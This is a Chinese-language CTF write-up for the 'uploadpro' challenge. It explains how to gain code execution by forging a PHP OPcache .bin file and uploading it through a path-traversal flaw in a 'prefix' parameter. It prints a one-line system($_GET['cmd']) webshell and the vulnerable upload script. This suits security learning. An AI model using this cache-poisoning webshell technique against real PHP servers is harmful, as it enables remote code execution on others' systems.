uploadpro
这道题目是一道利用PHP7的OPcache执行PHP代码,条件就是需要有OPcache和文件上传漏洞,具体可以参考这篇文章。利用PHP7的OPcache执行PHP代码
大体的思路就是我们要为造一个phpinfo.php的bin文件并上传到tmp/opcache/[system_id]/var/www/phpinfo.php.bin。这里伪造phpinfo的原因是因为php开启了file_cache_only = 0,我们没办法直接绕过它。因为我们必须先访问index.php。但是可以不用访问phpinfo.php。那么一开始就不会生成phpinfo.php.bin文件,这样就没有产生缓存我们就可以覆盖phpinfo.php。
然后这道题目通过扫描可以看到存在phpinfo.php:
访问phpinfo.php可以看到是开启了OPcache:
可以看到这里php开启了OPcache并且开启了file_cache_only = 0和validate_timestamps = 1。所以这里我们需要绕过这两个安全限制。绕过file_cache_only = 0的方法前面已经提到过了。绕过validate_timestamps = 1的方法就是伪造时间戳。这里因为没有使用什么框架。那么唯一的方法就是找到原始的bin文件。所以推测这个题目还有任意文件读取的漏洞。经过测试uploads../proc存在目录遍历和任意文件读取的问题。
这里可以看到在没有访问phpinfo.php的时候是没有生成phpinfo.php.bin文件的。其实在此之前这里是经过对比的index.php和phpinfo.php的时间戳(0x40)是一样的。这里伪造phpinfo.php.bin的方法就是在本地搭建一个php7.4的环境生成一个bin文件,这里需要注意的是我们可以改一个方便的存储地址:
然后我们写一个phpinfo.php的文件包含以下内容:
<?php
system($_GET['cmd']);
?>
接下来访问一下就能看到我们生成的bin文件了,然后对照我们下载的index.php.bin修改:
这里我们还原一下index.php.bin文件的源码:
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
<meta charset="utf-8">
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="max_file_size" value="1048576">
<input type="file" name="file">
<input type="submit" name="上传">
</form>
</body>
</html>
<?php
if($_SERVER['REQUEST_METHOD']=="GET"){
die(0);
}
header("content-type:text/html;charset=utf-8");
$filename = str_replace("\0","",$_FILES['file']['name']);
$prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
exit();
}
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";
exit();
}
if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){
echo "<script>alert('文件上传成功! Path /uploads/$prefix$filename');</script>";
}else{
echo "<script>alert('文件上传失败,错误码:$error');</script>";
}
?>
可以看到profix变量可控,所以我们可以进行跨目录上传,但是这里需要注意的是我们需要绕过get方法,这里我们可以用POST方法正常上传文件,然后在路径后面添加get参数从而绕过get方法的检查:
可以看到这里成功跨目录上传了bin文件:
然后我们再次访问phpinfo.php文件,内容修改,并成功读取flag